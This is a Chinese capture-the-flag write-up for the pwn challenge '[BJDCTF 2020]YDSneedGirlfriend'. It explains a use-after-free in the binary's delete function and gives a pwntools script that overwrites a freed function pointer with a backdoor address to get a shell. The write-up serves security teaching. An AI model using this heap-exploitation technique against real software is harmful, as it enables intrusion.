NSSCTF Pwn [BJDCTF 2020]YDSneedGirlfriend WP

下载 checksec exeinfo

64位 打开IDA64查看 

一个菜单题 查看各函数

发现后门函数

add函数 会先创建一个0x10堆用于存储print堆内容的指针 再创建设定大小的堆 

delete函数味清空指针 存在UAF/double free

打印函数执行了0x10的堆的函数指针 可以利用delete的悬垂指针修改这段区域 

UAF方法:

from pwn import *

p = process('./girlfriend')

def add(index, cont):
    p.sendlineafter("choice :", b'1')
    p.sendlineafter("is :", str(index))
    p.sendlineafter("Her name is :", cont)

def delete(index):
    p.sendlineafter("choice :", b'2')
    p.sendlineafter("Index :", str(index))


def show(index):
    p.sendlineafter("choice :", b'3')
    p.sendlineafter("Index :", str(index))

backdoor = 0x400B9C

add(0x30, b'aaa')
add(0x30, b'bbb')

delete(0)
delete(1)

add(0x10, p64(backdoor))

show(0)
p.interactive()

先申请两个大于0x10的堆来让两个存放打印函数的堆能在free之后相邻

free掉这两个堆 此时两个存放打印函数的堆如图:

此时执行show(0) 将会执行后门函数 得到shell

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值